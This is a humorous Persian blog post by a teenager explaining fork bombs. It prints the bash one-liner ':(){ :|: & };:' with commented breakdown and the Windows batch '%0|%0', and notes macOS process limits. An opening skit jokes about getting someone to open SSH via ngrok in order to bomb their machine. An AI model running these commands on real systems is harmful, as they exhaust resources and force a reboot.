یه دانشآموز 14 ساله؛ علاقه مند به پایتون، بک اند، منبع باز، گنو/لینوکس، CPP و امنیت سایبری :)
هنوز زنده ای؟ 0.0(فورک بمب ها)
-از سیستمت خسته شدی؟ ارورای سیستم عامل آزارت میده؟ باگش پیدا نمیشه که نمیشه؟
+آره چیکار کنم؟ :/
-بایا کن :)
+چجوری؟
-سرور SSH راه بنداز یه تونل هم با ngrok باز کن بایاش کنم ;)
+بیا اینم SSH ?
دقایقی بعد...
+این سیستم چرا اینقدر صدای فنش زیاده داداش؟ دماش هم اینقدر رفته بالا ممد داره روش چایی دم می کنه :|
-می دونی چَرا؟
درود گلای تو خونه :)
اگه تا الان متوجه نشدین باید بگم این یه پست طنزه
و صرفا قراره نتیجه چندتا سرچ که از بیکاری زدم درباره فورک بمب رو به اشتراک بزارم باشد که اطلاعاتتان زیاد شود ?
چیزی که من دنبالش بودم فورک بمب تو ترمینال یونیکس بیس ها و Command prompt ویندوز بود
قبل از هرکاری لطفا اگه می خواین این کامند هارو واسه تست اجرا کنید از یه VM استفاده کنید نه سیستم خودتون
اول از همه فورک بمب چیه؟
یه برنامه(واقعا نمی دونم میشه بهش گفت برنامه یا نه؛ چون بیشتر شبیه بدافزاره) که وقتی اجرا میشه دوتا subprocesses یا فورک رو که شبیه خودشه ایجاد می کنه،اونی که ایجاد میشه دوتا دیگه ایجاد می کنه،بعدی ها هرکدوم دوتا دیگه ایجاد می کنن
این فرآیند تا زمانی ادامه پیدا می کنه که رم سیستم پر میشه و دیگه هیچکاری نمی تونید بکنید جز اینکه سیستم رو دستی ری استارت کنید.
این تصویر خیلی زیبا توضیح میده منظورمو:
فورک بمب رو تقریبا همه جا می تونید بزنید :)
حتی HTML!(البته فکر نکنم تاثیری رو پرفورمنس سیستم داشته باشه?)
اما جالب تر نیست تو همون ترمینال بزنیم؟
تو ترمینال لینوکس:
:(){ :|: & };:
توضیحش:
:() #Define new function
#named ':'
{ #Begin function definition
#block
:|:& #Pipe the very ':' function through itself,
#creating two processes, and make the
#resulting copy run in the background
#(the & part)
} #End function definition block
;: #Call ':' for the first time, initiating a chain
#reaction: each instance of ':' will create two
#more instances, ad infinitum
تو ویندوز کافیه که اینو تو یه فایل bat یا cmd بنویسید و ران کنید :)
%0|%0
چجوری کار می کنه؟
%0
refers to the command used to run the current program. For example, script.bat
A pipe |
symbol will make the output or result of the first command sequence as the input for the second command sequence. In the case of a fork bomb, there is no output, so it will simply run the second command sequence without any input.
Expanding the example, %0|%0
could mean script.bat|script.bat
. This runs itself again, but also creating another process to run the same program again (with no input).
و مک(واسه پولدارا ?)
شما توی مک می تونید همون کامند لینوکس رو استفاده کنید چون مک یونیکس بیسه
ولی یه مشکلی هست
در هر صورت هرجوری که فورک بمبر بزنید رو مک بعد از یه مدت دیگه فورک جدید ساخته نمیشه
چون مک یه محدودیت داره برای هر کاربر تو تعداد processes ها که صد البته میشه تغییرش داد ولی خب هر چقدر هم زیادش کنید بی نهایتش نمیشه کرد :)
فکر نمی کنم چیزی رو جا انداخته باشم پس به رسم همیشگی؛ تا اینجا که اومدید
لایک که از واجباته ?
کامنت هم اگه سوالی داشتید حتما بنویسید تا جایی که بشه جواب میدم =}
اگه هم نداشتید صرفا بنویسید عالی بود دل هماهنگ کننده ویرگول شاد بشه =))))
حتما یوتیوب رو ساب کنید و اینستاگرام هم دنبال کنید که آموزشای باحالی تو راهن?
کد های آموزش هارو هم می تونید توی گیت هاب تمشک پیدا کنید
راستی اگه دیسکورد دارین حتما تو سرور دیسکورد هم جوین بشید که برنامه ها داریم!
پ.ن:یه سر به منابع هم بزنید حتما، چیزای جالبی یاد میگیرید
© منابع : تمشک،ویکی پدیا،استک اور فلو،استک اور فلو،گیکز فور گیکز،Fork bombs in lots of languages
مطلبی دیگر از این انتشارات
آموزش دستورات کاربردی CMD ویندوز (قسمت سوم: دستورات فان)
مطلبی دیگر از این انتشارات
آموزش پردازش تصویر با OpenCV در پایتون و انجام مثال (#1)
مطلبی دیگر از این انتشارات
کاه از خودت نیست،کاهدون که از خودته!